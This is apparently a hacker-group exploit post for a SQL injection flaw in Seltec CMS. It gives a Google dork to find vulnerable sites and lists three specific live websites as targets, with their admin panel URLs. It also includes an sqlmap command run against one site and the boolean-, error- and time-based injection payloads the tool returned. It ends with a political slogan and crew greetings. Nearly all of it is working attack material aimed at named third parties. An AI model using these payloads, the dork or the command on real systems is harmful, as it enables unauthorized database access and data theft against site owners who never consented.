#################################################################################
# Exploit Title: Seltec CMS Sql İnjection Vulnerability
# Author : TrazeR & Sipahiler & TurkZ.org
# Google Dork : intext:"Powered by Seltec CMS & WebDesign" inurl:pageID=
# Tested on : Kali Linux 2017 Chrome, Firefox
# Date : 18.12.2017
# Vendor Home: http://www.seltec.be/
# Blog : http://www.trazer.org/
# Forum : http://www.turkz.org/Forum/
# Telegram: https://t.me/turkzgrup
#################################################################################
Tutorial :
[+] Dorking İn Google Or Other Search Enggine
[+] Open Target
[+] Manager www.localhost.com/cms/
Vul [SQL-i] http://www.belloy.be/index.php?pageID=63&parentMenuID=2"
Vul [SQL-i] http://www.votp.be/index.php?pageID=3&parentMenuID=1'
Vul [SQL-i] http://www.geolab.be/index.php?pageID=39&parentMenuID=4'
GET Parameter 'pageID' İs Vulnerable.
Command: sqlmap --level=5 --risk=3 --threads=10 --timeout=10 --random-agent --text-only --no-cast -u "http://www.belloy.be/index.php?pageID=63&parentMenuID=2" --batch --dbs
Parameter: pageID (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: pageID=63' AND 4023=4023-- ptkO&parentMenuID=2
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: pageID=63' AND (SELECT 2141 FROM(SELECT COUNT(*),CONCAT(0x7170626a71,(SELECT (ELT(2141=2141,1))),0x716a6b6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- vyWK&parentMenuID=2
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: pageID=63' AND SLEEP(5)-- vPuD&parentMenuID=2
manager: http://www.geolab.be/cms/
http://www.belloy.be/cms
http://www.votp.be/cms/
FREE PALESTINE FREE GAZA / İSREAL TERRORIST #KUDUS İSLAMİNDİR!
Greet'Zzz : ABIKANBEY & EfendiBey & Atabey & TrazeR & Zer0day & Kutluhan & Göçebe & BlueTrojen